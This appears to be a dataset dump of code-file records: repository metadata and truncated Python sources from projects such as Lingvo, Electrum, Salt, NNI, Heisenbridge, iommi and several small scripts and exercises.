2020-01-30T14:25:50.000Z
2020-08-25T02:03:50.000Z
import numpy as np from .image import get_bbox def bb_intersection_over_union(A, B): xA = max(A[0], B[0]) yA = max(A[1], B[1]) xB = min(A[2], B[2]) yB = min(A[3], B[3]) # compute the area of intersection rectangle interArea = max(0, xB - xA) * max(0, yB - yA) if interArea == 0: r...
30.045045
132
0.582009
import numpy as np from .image import get_bbox def bb_intersection_over_union(A, B): xA = max(A[0], B[0]) yA = max(A[1], B[1]) xB = min(A[2], B[2]) yB = min(A[3], B[3]) interArea = max(0, xB - xA) * max(0, yB - yA) if interArea == 0: return 0.0 boxAArea = (A[2] - A[0]) *...
true
true
08f422d3acbbb990029ecc69b080a4e62a5fe653
702
py
Python
solutions/mols_search/mols-search-webserver/src/service/delete.py
sunyaofei/bootcamp
b5a1bdbd32e5365d3999453108f949c4e4c5a6a6
[ "Apache-2.0" ]
1
2020-03-10T07:43:08.000Z
2020-03-10T07:43:08.000Z
solutions/mols_search/mols-search-webserver/src/service/delete.py
sunyaofei/bootcamp
b5a1bdbd32e5365d3999453108f949c4e4c5a6a6
[ "Apache-2.0" ]
null
null
null
solutions/mols_search/mols-search-webserver/src/service/delete.py
sunyaofei/bootcamp
b5a1bdbd32e5365d3999453108f949c4e4c5a6a6
[ "Apache-2.0" ]
null
null
null
import logging import time from common.config import DEFAULT_TABLE from common.const import default_cache_dir from encoder.encode import feature_extract from diskcache import Cache from indexer.index import milvus_client, create_table, insert_vectors, delete_table, search_vectors, create_index,delete_table def do_del...
29.25
126
0.733618
import logging import time from common.config import DEFAULT_TABLE from common.const import default_cache_dir from encoder.encode import feature_extract from diskcache import Cache from indexer.index import milvus_client, create_table, insert_vectors, delete_table, search_vectors, create_index,delete_table def do_del...
true
true
08f4237559611ca7c170ab78f4e64d82e720d859
1,005
py
Python
h2o-py/tests/testdir_misc/pyunit_upload_import.py
kyoren/https-github.com-h2oai-h2o-3
77b27109c84c4739f9f1b7a3078f8992beefc813
[ "Apache-2.0" ]
1
2016-09-30T05:58:18.000Z
2016-09-30T05:58:18.000Z
h2o-py/tests/testdir_misc/pyunit_upload_import.py
kyoren/https-github.com-h2oai-h2o-3
77b27109c84c4739f9f1b7a3078f8992beefc813
[ "Apache-2.0" ]
null
null
null
h2o-py/tests/testdir_misc/pyunit_upload_import.py
kyoren/https-github.com-h2oai-h2o-3
77b27109c84c4739f9f1b7a3078f8992beefc813
[ "Apache-2.0" ]
null
null
null
import sys sys.path.insert(1, "../../") import h2o, tests def upload_import_small(): # Connect to a pre-existing cluster various_datasets = ["smalldata/iris/iris.csv", "smalldata/iris/iris_wheader.csv", "smalldata/prostate/prostate.csv", "smalldata/prostate/prostate_woheader.csv.g...
37.222222
120
0.633831
import sys sys.path.insert(1, "../../") import h2o, tests def upload_import_small(): various_datasets = ["smalldata/iris/iris.csv", "smalldata/iris/iris_wheader.csv", "smalldata/prostate/prostate.csv", "smalldata/prostate/prostate_woheader.csv.gz"] for dataset in various_data...
true
true
08f42881917b1bc59e84ac32695600ec0123adfd
179
py
Python
editregions/contrib/htmlmeta/settings.py
kezabelle/django-editregions
961ddeffb37d30d40fb4e3e9224bc3f956b7a5b5
[ "BSD-2-Clause-FreeBSD" ]
1
2015-01-11T18:21:27.000Z
2015-01-11T18:21:27.000Z
editregions/contrib/htmlmeta/settings.py
kezabelle/django-editregions
961ddeffb37d30d40fb4e3e9224bc3f956b7a5b5
[ "BSD-2-Clause-FreeBSD" ]
null
null
null
editregions/contrib/htmlmeta/settings.py
kezabelle/django-editregions
961ddeffb37d30d40fb4e3e9224bc3f956b7a5b5
[ "BSD-2-Clause-FreeBSD" ]
null
null
null
# -*- coding: utf-8 -*- from model_utils import Choices DEFAULT_META_NAMES = Choices( ('title', 'Title'), ('description', 'Description'), ('keywords', 'Keywords'), )
19.888889
35
0.620112
from model_utils import Choices DEFAULT_META_NAMES = Choices( ('title', 'Title'), ('description', 'Description'), ('keywords', 'Keywords'), )
true
true
08f428bdeaea292121725dd1644494446d6e79f7
943
py
Python
safedelete/tests/test_no_delete.py
awningteam/django-safedelete
07da23185206112f0e196d45528fa8f056d8aa9b
[ "BSD-3-Clause" ]
null
null
null
safedelete/tests/test_no_delete.py
awningteam/django-safedelete
07da23185206112f0e196d45528fa8f056d8aa9b
[ "BSD-3-Clause" ]
null
null
null
safedelete/tests/test_no_delete.py
awningteam/django-safedelete
07da23185206112f0e196d45528fa8f056d8aa9b
[ "BSD-3-Clause" ]
null
null
null
from ..config import NO_DELETE from ..models import SafeDeleteModel from .testcase import SafeDeleteForceTestCase class NoDeleteModel(SafeDeleteModel): _safedelete_policy = NO_DELETE class NoDeleteTestCase(SafeDeleteForceTestCase): def setUp(self): self.instance = NoDeleteModel.objects.create() ...
31.433333
90
0.716861
from ..config import NO_DELETE from ..models import SafeDeleteModel from .testcase import SafeDeleteForceTestCase class NoDeleteModel(SafeDeleteModel): _safedelete_policy = NO_DELETE class NoDeleteTestCase(SafeDeleteForceTestCase): def setUp(self): self.instance = NoDeleteModel.objects.create() ...
true
true
08f428e874ff09255c80bf54d9a889df25d0911e
1,150
py
Python
semapp/urls.py
superhero2017/Semwebsite
59aca68cc362b97a4b43c83d3e33547abaebbc34
[ "MIT" ]
null
null
null
semapp/urls.py
superhero2017/Semwebsite
59aca68cc362b97a4b43c83d3e33547abaebbc34
[ "MIT" ]
3
2020-06-05T23:47:41.000Z
2021-06-02T00:30:14.000Z
semapp/urls.py
superhero2017/Semwebsite
59aca68cc362b97a4b43c83d3e33547abaebbc34
[ "MIT" ]
1
2021-01-27T08:21:30.000Z
2021-01-27T08:21:30.000Z
from rest_framework import routers from django.urls import include, path from . import views router = routers.DefaultRouter() urlpatterns = [ path('api/', include(router.urls)), path('api/Trading/Dashboard/', views.TradingView.as_view(), name='trading_dashboard'), path('api/Trading/Exposures/', views.Trad...
54.761905
99
0.734783
from rest_framework import routers from django.urls import include, path from . import views router = routers.DefaultRouter() urlpatterns = [ path('api/', include(router.urls)), path('api/Trading/Dashboard/', views.TradingView.as_view(), name='trading_dashboard'), path('api/Trading/Exposures/', views.Trad...
true
true
08f428eb2fc1bd404df595c955274e03bee39d94
8,568
py
Python
heisenbridge/control_room.py
pstn/heisenbridge
c01bb90315cb0fba8a439e40bbe076445e0b62b8
[ "MIT" ]
null
null
null
heisenbridge/control_room.py
pstn/heisenbridge
c01bb90315cb0fba8a439e40bbe076445e0b62b8
[ "MIT" ]
null
null
null
heisenbridge/control_room.py
pstn/heisenbridge
c01bb90315cb0fba8a439e40bbe076445e0b62b8
[ "MIT" ]
null
null
null
from heisenbridge.command_parse import CommandManager from heisenbridge.command_parse import CommandParser from heisenbridge.command_parse import CommandParserError from heisenbridge.network_room import NetworkRoom from heisenbridge.room import Room class ControlRoom(Room): commands: CommandManager def init(...
36
120
0.616947
from heisenbridge.command_parse import CommandManager from heisenbridge.command_parse import CommandParser from heisenbridge.command_parse import CommandParserError from heisenbridge.network_room import NetworkRoom from heisenbridge.room import Room class ControlRoom(Room): commands: CommandManager def init(...
true
true
08f42934ac491ff1d44c4f7a6b21b677126f3143
5,471
py
Python
Client/main_gui.py
daddydemir/RealtimeChat
67bc7b04573041cd92fa4306234a5cc7d093230b
[ "MIT" ]
1
2021-06-19T20:18:24.000Z
2021-06-19T20:18:24.000Z
Client/main_gui.py
daddydemir/RealtimeChat
67bc7b04573041cd92fa4306234a5cc7d093230b
[ "MIT" ]
null
null
null
Client/main_gui.py
daddydemir/RealtimeChat
67bc7b04573041cd92fa4306234a5cc7d093230b
[ "MIT" ]
null
null
null
from PyQt5.QtWidgets import * from PyQt5.QtGui import * from PyQt5.QtGui import QPixmap from PyQt5.QtCore import QObject , QThread , pyqtSignal from PyQt5.Qt import Qt import sys import time import socket from _thread import * #import threading sayi = 10 class sayfa(QWidget): def __init__(self , port=7777 , nameD...
25.328704
346
0.676476
from PyQt5.QtWidgets import * from PyQt5.QtGui import * from PyQt5.QtGui import QPixmap from PyQt5.QtCore import QObject , QThread , pyqtSignal from PyQt5.Qt import Qt import sys import time import socket from _thread import * sayi = 10 class sayfa(QWidget): def __init__(self , port=7777 , nameD="demir" , oda_ism...
true
true
08f429a0747bc689a67b09e5d510dcfab8b1e108
32,770
py
Python
lingvo/tasks/asr/decoder_test.py
lukasbindreiter/lingvo
d6f2e6901fadc8440a9e6222ac54b68a8b6faf02
[ "Apache-2.0" ]
1
2021-04-18T18:17:02.000Z
2021-04-18T18:17:02.000Z
lingvo/tasks/asr/decoder_test.py
lukasbindreiter/lingvo
d6f2e6901fadc8440a9e6222ac54b68a8b6faf02
[ "Apache-2.0" ]
null
null
null
lingvo/tasks/asr/decoder_test.py
lukasbindreiter/lingvo
d6f2e6901fadc8440a9e6222ac54b68a8b6faf02
[ "Apache-2.0" ]
null
null
null
# Lint as: python3 # Copyright 2018 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless ...
40.406905
80
0.646048
import lingvo.compat as tf from lingvo.core import cluster_factory from lingvo.core import layers as lingvo_layers from lingvo.core import py_utils from lingvo.core import symbolic from lingvo.core import test_utils from lingvo.core.ops.hyps_pb2 import Hypothesis from lingvo.tasks.asr import decoder import numpy as np...
true
true
08f429bf9e077052b56bdaadc32861064a397f5d
108
py
Python
src/mass_project/__init__.py
SBRG/MASS-project
9e247658700421622df3ba55014709b2c0833435
[ "MIT" ]
null
null
null
src/mass_project/__init__.py
SBRG/MASS-project
9e247658700421622df3ba55014709b2c0833435
[ "MIT" ]
null
null
null
src/mass_project/__init__.py
SBRG/MASS-project
9e247658700421622df3ba55014709b2c0833435
[ "MIT" ]
1
2021-11-23T00:37:28.000Z
2021-11-23T00:37:28.000Z
from pathlib import Path _BASE_DIR = Path(__file__).resolve().parent.parent.parent __version__ = "0.0.1"
15.428571
57
0.75
from pathlib import Path _BASE_DIR = Path(__file__).resolve().parent.parent.parent __version__ = "0.0.1"
true
true
08f429dc6a9e22f1015021a8ff02c4340999cd2e
1,637
py
Python
Components/DaaSWebClient/gangliaPlugIns/getPendingRequests.py
tuwiendsg/DaaSM2M
4dae9d429aca7e4092834872164861c5eecb5797
[ "Apache-2.0" ]
2
2017-11-05T15:50:59.000Z
2019-08-06T11:35:26.000Z
Components/DaaSWebClient/gangliaPlugIns/getPendingRequests.py
tuwiendsg/DaaSM2M
4dae9d429aca7e4092834872164861c5eecb5797
[ "Apache-2.0" ]
null
null
null
Components/DaaSWebClient/gangliaPlugIns/getPendingRequests.py
tuwiendsg/DaaSM2M
4dae9d429aca7e4092834872164861c5eecb5797
[ "Apache-2.0" ]
null
null
null
import urllib, urllib2, sys, httplib from xml.dom.minidom import parseString HOST_IP = 'localhost:8080' url = '/DaaS/api' httplib.HTTPConnection.debuglevel = 0 def _getData(): connection = httplib.HTTPConnection(HOST_IP) headers={ 'Content-Type':'application/xml; charset=utf-8', ...
26.403226
76
0.576054
import urllib, urllib2, sys, httplib from xml.dom.minidom import parseString HOST_IP = 'localhost:8080' url = '/DaaS/api' httplib.HTTPConnection.debuglevel = 0 def _getData(): connection = httplib.HTTPConnection(HOST_IP) headers={ 'Content-Type':'application/xml; charset=utf-8', ...
false
true
08f42a4a8ea0d48fa21df046524f4f6b71ac5bfe
221
py
Python
0-notes/job-search/Cracking the Coding Interview/C02LinkedLists/questions/2.3-question.py
eengineergz/Lambda
1fe511f7ef550aed998b75c18a432abf6ab41c5f
[ "MIT" ]
null
null
null
0-notes/job-search/Cracking the Coding Interview/C02LinkedLists/questions/2.3-question.py
eengineergz/Lambda
1fe511f7ef550aed998b75c18a432abf6ab41c5f
[ "MIT" ]
null
null
null
0-notes/job-search/Cracking the Coding Interview/C02LinkedLists/questions/2.3-question.py
eengineergz/Lambda
1fe511f7ef550aed998b75c18a432abf6ab41c5f
[ "MIT" ]
null
null
null
# 2.3 Delete Middle Node # Implement an algorithm to delete a node in the middle of a singly linked list, # given only access to that node. # (i.e. any node but the first and last, not necessarily the exact middle)
31.571429
80
0.728507
true
true
08f42a8291469af378bafd129e84e8dabcf713ca
625
py
Python
scripts/quest/q25566s.py
G00dBye/YYMS
1de816fc842b6598d5b4b7896b6ab0ee8f7cdcfb
[ "MIT" ]
54
2019-04-16T23:24:48.000Z
2021-12-18T11:41:50.000Z
scripts/quest/q25566s.py
G00dBye/YYMS
1de816fc842b6598d5b4b7896b6ab0ee8f7cdcfb
[ "MIT" ]
3
2019-05-19T15:19:41.000Z
2020-04-27T16:29:16.000Z
scripts/quest/q25566s.py
G00dBye/YYMS
1de816fc842b6598d5b4b7896b6ab0ee8f7cdcfb
[ "MIT" ]
49
2020-11-25T23:29:16.000Z
2022-03-26T16:20:24.000Z
# Created by MechAviv # Quest ID :: 25566 # Terror of the Library sm.setSpeakerID(1032208) sm.sendNext("What are you doing? This is a PUBLIC library!") sm.setSpeakerID(1032208) sm.setPlayerAsSpeaker() sm.sendSay("Out of my way, child!") sm.setSpeakerID(1032208) sm.sendSay("You can't just do whatever you want!") ...
18.382353
60
0.7424
sm.setSpeakerID(1032208) sm.sendNext("What are you doing? This is a PUBLIC library!") sm.setSpeakerID(1032208) sm.setPlayerAsSpeaker() sm.sendSay("Out of my way, child!") sm.setSpeakerID(1032208) sm.sendSay("You can't just do whatever you want!") sm.setSpeakerID(1032208) sm.setPlayerAsSpeaker() sm.sendSay("Oh? H...
true
true
08f42af1ca9376ff85bd932cfb9e646f7b42d50f
267
py
Python
tests/artificial/transf_Anscombe/trend_MovingMedian/cycle_0/ar_12/test_artificial_32_Anscombe_MovingMedian_0_12_100.py
shaido987/pyaf
b9afd089557bed6b90b246d3712c481ae26a1957
[ "BSD-3-Clause" ]
377
2016-10-13T20:52:44.000Z
2022-03-29T18:04:14.000Z
tests/artificial/transf_Anscombe/trend_MovingMedian/cycle_0/ar_12/test_artificial_32_Anscombe_MovingMedian_0_12_100.py
ysdede/pyaf
b5541b8249d5a1cfdc01f27fdfd99b6580ed680b
[ "BSD-3-Clause" ]
160
2016-10-13T16:11:53.000Z
2022-03-28T04:21:34.000Z
tests/artificial/transf_Anscombe/trend_MovingMedian/cycle_0/ar_12/test_artificial_32_Anscombe_MovingMedian_0_12_100.py
ysdede/pyaf
b5541b8249d5a1cfdc01f27fdfd99b6580ed680b
[ "BSD-3-Clause" ]
63
2017-03-09T14:51:18.000Z
2022-03-27T20:52:57.000Z
import pyaf.Bench.TS_datasets as tsds import tests.artificial.process_artificial_dataset as art art.process_dataset(N = 32 , FREQ = 'D', seed = 0, trendtype = "MovingMedian", cycle_length = 0, transform = "Anscombe", sigma = 0.0, exog_count = 100, ar_order = 12);
38.142857
167
0.734082
import pyaf.Bench.TS_datasets as tsds import tests.artificial.process_artificial_dataset as art art.process_dataset(N = 32 , FREQ = 'D', seed = 0, trendtype = "MovingMedian", cycle_length = 0, transform = "Anscombe", sigma = 0.0, exog_count = 100, ar_order = 12);
true
true
08f42b83d3314841d797cedfdea161208517ca25
9,807
py
Python
gui/qt/paytoedit.py
Cryptogaule/Electrum-CryptoGaule
8ef4520db9fb316b4d12ef38a38ad7dce9e134ed
[ "MIT" ]
1
2022-03-10T15:18:17.000Z
2022-03-10T15:18:17.000Z
gui/qt/paytoedit.py
Cryptogaule/Electrum-CryptoGaule
8ef4520db9fb316b4d12ef38a38ad7dce9e134ed
[ "MIT" ]
null
null
null
gui/qt/paytoedit.py
Cryptogaule/Electrum-CryptoGaule
8ef4520db9fb316b4d12ef38a38ad7dce9e134ed
[ "MIT" ]
1
2018-05-21T09:44:42.000Z
2018-05-21T09:44:42.000Z
#!/usr/bin/env python # # Electrum - lightweight Bitcoin client # Copyright (C) 2012 thomasv@gitorious # # Permission is hereby granted, free of charge, to any person # obtaining a copy of this software and associated documentation files # (the "Software"), to deal in the Software without restriction, # including witho...
31.533762
112
0.588355
from PyQt5.QtCore import * from PyQt5.QtGui import * from PyQt5.QtWidgets import QCompleter, QPlainTextEdit from .qrtextedit import ScanQRTextEdit import re from decimal import Decimal from electrum_ltc import bitcoin from . import util RE_ADDRESS = '[1-9A-HJ-NP-Za-km-z]{26,}' RE_ALIAS = '(.*?)\s*\<([1-9A-HJ-NP-Za-...
true
true
08f42bc8a218099019282888caa0c824d76194b0
4,506
py
Python
screen.py
jackhong12/osc2021
853c2b63bd942b3ca0de0611aa879cc4545256c9
[ "MIT" ]
null
null
null
screen.py
jackhong12/osc2021
853c2b63bd942b3ca0de0611aa879cc4545256c9
[ "MIT" ]
null
null
null
screen.py
jackhong12/osc2021
853c2b63bd942b3ca0de0611aa879cc4545256c9
[ "MIT" ]
null
null
null
#!python3 import sys import os import serial import time import argparse import threading import signal def nonblock_read (): while True: b = ser.read(1) if not b: break try: print(b.decode('utf-8'), end='') sys.stdout.flush() except: ...
22.643216
92
0.519751
import sys import os import serial import time import argparse import threading import signal def nonblock_read (): while True: b = ser.read(1) if not b: break try: print(b.decode('utf-8'), end='') sys.stdout.flush() except: print(b) ...
true
true
08f42c2aec0d42c1da04a50cd228c71097417b89
7,166
py
Python
salt/queues/pgjsonb_queue.py
pass-by-value/salt
2ede44fe54516242e10fe428629d5f5a18e5f7ea
[ "Apache-2.0", "MIT" ]
null
null
null
salt/queues/pgjsonb_queue.py
pass-by-value/salt
2ede44fe54516242e10fe428629d5f5a18e5f7ea
[ "Apache-2.0", "MIT" ]
null
null
null
salt/queues/pgjsonb_queue.py
pass-by-value/salt
2ede44fe54516242e10fe428629d5f5a18e5f7ea
[ "Apache-2.0", "MIT" ]
null
null
null
# -*- coding: utf-8 -*- ''' .. versionadded:: 2016.3.0 This is a queue with postgres as the backend. It uses the jsonb store to store information for queues. :depends: python-psycopg2 To enable this queue, the following needs to be configured in your master config. These are the defaults: .. code-block:: yam...
27.143939
102
0.581636
from __future__ import absolute_import from contextlib import contextmanager import json import sys from salt.exceptions import SaltInvocationError, SaltMasterError try: import psycopg2 HAS_PG = True except ImportError: HAS_PG = False import logging log = logging.getLogger(__name__) __virtualname__ = '...
true
true
08f42cc43d460eafa0180913c03b64a74e534e5c
27,648
py
Python
backup_configs/backup_configs.py
zabrewer/automation-scripts
cd9f4ab8227333412baeba659d5a9fea4343e78f
[ "MIT" ]
null
null
null
backup_configs/backup_configs.py
zabrewer/automation-scripts
cd9f4ab8227333412baeba659d5a9fea4343e78f
[ "MIT" ]
null
null
null
backup_configs/backup_configs.py
zabrewer/automation-scripts
cd9f4ab8227333412baeba659d5a9fea4343e78f
[ "MIT" ]
null
null
null
READ_ME = """ === PREREQUISITES === Use with Meraki Python SDK @ github.com/meraki/dashboard-api-python/ & install required libraries with pip[3] install -r requirements.txt === DESCRIPTION === This script iterates through a dashboard organization and backs up the configuration for the org, networks & templates, and...
39.217021
125
0.582574
READ_ME = """ === PREREQUISITES === Use with Meraki Python SDK @ github.com/meraki/dashboard-api-python/ & install required libraries with pip[3] install -r requirements.txt === DESCRIPTION === This script iterates through a dashboard organization and backs up the configuration for the org, networks & templates, and...
true
true
08f42cdee7c569570f4aeb6a6c4bafe64014ce40
6,982
py
Python
nni/retiarii/execution/cgo_engine.py
AlibabaPAI/nni
38c9a734cb90cdef8678d4fd44bf5140b34b5182
[ "MIT" ]
null
null
null
nni/retiarii/execution/cgo_engine.py
AlibabaPAI/nni
38c9a734cb90cdef8678d4fd44bf5140b34b5182
[ "MIT" ]
6
2022-02-10T06:31:26.000Z
2022-03-24T14:24:13.000Z
nni/retiarii/execution/cgo_engine.py
AlibabaPAI/nni
38c9a734cb90cdef8678d4fd44bf5140b34b5182
[ "MIT" ]
null
null
null
# Copyright (c) Microsoft Corporation. # Licensed under the MIT license. import logging from typing import List, Dict, Tuple from .interface import AbstractExecutionEngine, AbstractGraphListener, WorkerInfo from .. import codegen, utils from ..graph import Model, ModelStatus, MetricData from ..integration_api import ...
45.337662
110
0.684188
import logging from typing import List, Dict, Tuple from .interface import AbstractExecutionEngine, AbstractGraphListener, WorkerInfo from .. import codegen, utils from ..graph import Model, ModelStatus, MetricData from ..integration_api import send_trial, receive_trial_parameters, get_advisor from .logical_optimizer...
true
true
08f42dcfe18a4b10849ade0facb434b32c08c7bc
9,468
py
Python
tools/process.py
whigy/chair-gan
8144b34919a7c61487edc559738801b341a70331
[ "MIT" ]
null
null
null
tools/process.py
whigy/chair-gan
8144b34919a7c61487edc559738801b341a70331
[ "MIT" ]
null
null
null
tools/process.py
whigy/chair-gan
8144b34919a7c61487edc559738801b341a70331
[ "MIT" ]
null
null
null
from __future__ import absolute_import from __future__ import division from __future__ import print_function import argparse import os import tensorflow as tf import numpy as np import tfimage as im import threading import time import cv2 from skimage.morphology import thin edge_pool = None parser = argparse.Argum...
31.56
175
0.612695
from __future__ import absolute_import from __future__ import division from __future__ import print_function import argparse import os import tensorflow as tf import numpy as np import tfimage as im import threading import time import cv2 from skimage.morphology import thin edge_pool = None parser = argparse.Argum...
true
true
08f42dedac14803a5dd7ec497bda7e22058a0e62
1,363
py
Python
setup.py
wstolk/alpha-vantage
d1d2d5513e5e1c204342da40019a633a5f75a3aa
[ "Apache-2.0" ]
null
null
null
setup.py
wstolk/alpha-vantage
d1d2d5513e5e1c204342da40019a633a5f75a3aa
[ "Apache-2.0" ]
null
null
null
setup.py
wstolk/alpha-vantage
d1d2d5513e5e1c204342da40019a633a5f75a3aa
[ "Apache-2.0" ]
null
null
null
import os from setuptools import setup, find_packages here = os.path.abspath(os.path.dirname(__file__)) packages = ['alpha_vantage'] requires = [ 'requests>=2' ] test_requirements = [ 'pandas>=1.2' ] about = {} with open(os.path.join(here, 'alpha_vantage', '__version__.py'), 'r') as f: exec(f.read(), ...
26.211538
77
0.655172
import os from setuptools import setup, find_packages here = os.path.abspath(os.path.dirname(__file__)) packages = ['alpha_vantage'] requires = [ 'requests>=2' ] test_requirements = [ 'pandas>=1.2' ] about = {} with open(os.path.join(here, 'alpha_vantage', '__version__.py'), 'r') as f: exec(f.read(), ...
true
true
08f42edba34890d64d7edf5f9d320fcd3cb4f267
1,654
py
Python
USP/007_SetimaSemana_USP/soma_hipotenusas.py
PedroSantana2/curso-ciencia-da-computacao-usp
8dfcb8c66b59d99260c899765effae6e4f240e0d
[ "MIT" ]
1
2021-03-16T03:58:33.000Z
2021-03-16T03:58:33.000Z
USP/007_SetimaSemana_USP/soma_hipotenusas.py
PedroSantana2/exercicios-ciencia-da-computacao-usp-parte-1
8dfcb8c66b59d99260c899765effae6e4f240e0d
[ "MIT" ]
null
null
null
USP/007_SetimaSemana_USP/soma_hipotenusas.py
PedroSantana2/exercicios-ciencia-da-computacao-usp-parte-1
8dfcb8c66b59d99260c899765effae6e4f240e0d
[ "MIT" ]
null
null
null
''' Dizemos que um número é uma hipotenusa de um triângulo inteiro se existe um triângulo retângulo com lados inteiros cuja hipotenusa é igual a esse número. Em outras palavras, nn é uma hipotenusa se existem números inteiros ii e jj tais que: n^2 = i^2 + j^2 n 2=i 2+j 2 Escreva uma função soma_hipotenusas que rec...
35.191489
378
0.652963
def calcular_hipotenusa(a, b): return a ** 2 + b ** 2 def soma_hipotenusas(n): c = 1 soma = 0 while c <= n: c2 = c ** 2 a = 1 b = 1 while a < n: while b < n: if (c2 == calcular_hipotenusa(a, b)): soma = som...
true
true
08f42ef6355bc776d0fd47e730f57da4b8e065e4
7,923
py
Python
docs/conf.py
raulsteurer/folium
76e198421dcb15fa39a5aa337853ba54920c7883
[ "MIT" ]
5,451
2015-01-03T01:36:01.000Z
2022-03-30T16:14:33.000Z
docs/conf.py
Erickson-lopes-dev/folium
15f9ceca6c89a718c3819aefd67efa0fc93b896a
[ "MIT" ]
1,341
2015-01-01T16:01:49.000Z
2022-03-31T10:08:11.000Z
docs/conf.py
Erickson-lopes-dev/folium
15f9ceca6c89a718c3819aefd67efa0fc93b896a
[ "MIT" ]
2,510
2015-01-04T09:56:20.000Z
2022-03-31T03:12:45.000Z
# -*- coding: utf-8 -*- # # Folium documentation build configuration file, created by # sphinx-quickstart on Sun May 19 19:39:34 2013. # # This file is execfile()d with the current directory set to its containing dir. # # Note that not all possible configuration values are present in this # autogenerated file. # # All ...
31.692
80
0.714123
import sys import os sys.path.insert(0, os.path.abspath(os.pardir)) extensions = ['sphinx.ext.autodoc', 'sphinx.ext.napoleon', 'nbsphinx'] templates_path = ['_templates'] source_suffix = '.rst' master_doc = 'index' project = 'Folium' copyright = '2013, Rob Story' # |version| and |release|, also used in vari...
true
true
08f42f5db39c4325db4de88e33927263acbe3fee
25
py
Python
src/pixies/__init__.py
shanqiaosong/pixies
d34abaa204903a6b83ec15d690eba1594e8472d4
[ "MIT" ]
2
2021-06-10T03:06:51.000Z
2021-06-14T19:25:10.000Z
src/pixies/__init__.py
shanqiaosong/pixies
d34abaa204903a6b83ec15d690eba1594e8472d4
[ "MIT" ]
null
null
null
src/pixies/__init__.py
shanqiaosong/pixies
d34abaa204903a6b83ec15d690eba1594e8472d4
[ "MIT" ]
null
null
null
from .Pixies import Cage
12.5
24
0.8
from .Pixies import Cage
true
true
08f42fa777eeaa2d864d8e8ef193d7546a30badd
1,870
py
Python
cpp/scons/scons-local-2.0.0.final.0/SCons/Tool/sgicc.py
smartshowltd/zxing
5760e3f45a24f2b1f10d47079c44f53c804b8e9a
[ "Apache-2.0" ]
9
2015-02-01T12:45:53.000Z
2016-09-14T07:36:24.000Z
cpp/scons/scons-local-2.0.0.final.0/SCons/Tool/sgicc.py
smartshowltd/zxing
5760e3f45a24f2b1f10d47079c44f53c804b8e9a
[ "Apache-2.0" ]
7
2015-11-19T01:58:56.000Z
2019-12-21T00:14:26.000Z
cpp/scons/scons-local-2.0.0.final.0/SCons/Tool/sgicc.py
smartshowltd/zxing
5760e3f45a24f2b1f10d47079c44f53c804b8e9a
[ "Apache-2.0" ]
22
2015-07-15T21:57:37.000Z
2019-09-14T03:41:51.000Z
"""SCons.Tool.sgicc Tool-specific initialization for MIPSPro cc on SGI. There normally shouldn't be any need to import this module directly. It will usually be imported through the generic SCons.Tool.Tool() selection method. """ # # Copyright (c) 2001, 2002, 2003, 2004, 2005, 2006, 2007, 2008, 2009, 2010 The SCons ...
34.62963
95
0.747059
__revision__ = "src/engine/SCons/Tool/sgicc.py 5023 2010/06/14 22:05:46 scons" import cc def generate(env): cc.generate(env) env['CXX'] = 'CC' env['SHOBJSUFFIX'] = '.o' env['STATIC_AND_SHARED_OBJECTS_ARE_THE_SAME'] = 1 def exists(env): return env.Detect('cc')
true
true
08f4306c831e0e098f2f390943c6e12fe79d5745
6,715
py
Python
msitrees/_node.py
xadrianzetx/msitrees
8050ec247adb090ca6112fab05f23dcaba3bc23c
[ "MIT" ]
3
2020-10-05T10:47:33.000Z
2020-10-05T14:33:46.000Z
msitrees/_node.py
xadrianzetx/msitrees
8050ec247adb090ca6112fab05f23dcaba3bc23c
[ "MIT" ]
null
null
null
msitrees/_node.py
xadrianzetx/msitrees
8050ec247adb090ca6112fab05f23dcaba3bc23c
[ "MIT" ]
null
null
null
# MIT License # Copyright (c) 2020 xadrianzetx # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, pu...
29.069264
80
0.59315
import uuid import json import numpy as np from typing import Optional class MSINode: def __init__(self, left: Optional['MSINode'] = None, right: Optional['MSINode'] = None, indices: Optional[list] = None, feature: Optional[int] = None, spl...
true
true
08f43089016eab0c29ad2a67c91ce23a854c64ad
11,301
py
Python
iommi/style__tests.py
MiltonJohansson/iommi
f42928bdac31680aef63b93e0710c18584bba44e
[ "BSD-3-Clause" ]
null
null
null
iommi/style__tests.py
MiltonJohansson/iommi
f42928bdac31680aef63b93e0710c18584bba44e
[ "BSD-3-Clause" ]
null
null
null
iommi/style__tests.py
MiltonJohansson/iommi
f42928bdac31680aef63b93e0710c18584bba44e
[ "BSD-3-Clause" ]
null
null
null
import pytest from tri_declarative import ( class_shortcut, dispatch, Namespace, Refinable, ) from iommi import ( Asset, Fragment, Menu, MenuItem, Page, Table, ) from iommi.attrs import render_attrs from iommi.base import items from iommi.refinable import RefinableObject from io...
26.590588
167
0.588974
import pytest from tri_declarative import ( class_shortcut, dispatch, Namespace, Refinable, ) from iommi import ( Asset, Fragment, Menu, MenuItem, Page, Table, ) from iommi.attrs import render_attrs from iommi.base import items from iommi.refinable import RefinableObject from io...
true
true
08f4312dd506e1a538a8dc3d207d5ae0dae4dd3c
350
py
Python
dimensions.py
yiyidhuang/PythonCrashCrouse2nd
3512f9ab8fcf32c6145604a37e2a62feddf174d1
[ "MIT" ]
null
null
null
dimensions.py
yiyidhuang/PythonCrashCrouse2nd
3512f9ab8fcf32c6145604a37e2a62feddf174d1
[ "MIT" ]
null
null
null
dimensions.py
yiyidhuang/PythonCrashCrouse2nd
3512f9ab8fcf32c6145604a37e2a62feddf174d1
[ "MIT" ]
null
null
null
dimensions = (200, 50) print(dimensions[0]) print(dimensions[1]) dimensions = (200, 50) for dimension in dimensions: print(dimension) dimensions = (200, 50) print("Original dimensions:") for dimension in dimensions: print(dimension) dimensions = (400, 100) print("\nModified dimensions:") for dimension in dim...
19.444444
31
0.725714
dimensions = (200, 50) print(dimensions[0]) print(dimensions[1]) dimensions = (200, 50) for dimension in dimensions: print(dimension) dimensions = (200, 50) print("Original dimensions:") for dimension in dimensions: print(dimension) dimensions = (400, 100) print("\nModified dimensions:") for dimension in dim...
true
true
08f431c33fb37bceefcbd580c0b933490ef70d63
89
py
Python
ex002.py
samuelmarroni/Python
25abb986bcc8efd75917ffc102e4d11874214dcb
[ "MIT" ]
1
2021-11-10T01:18:26.000Z
2021-11-10T01:18:26.000Z
ex002.py
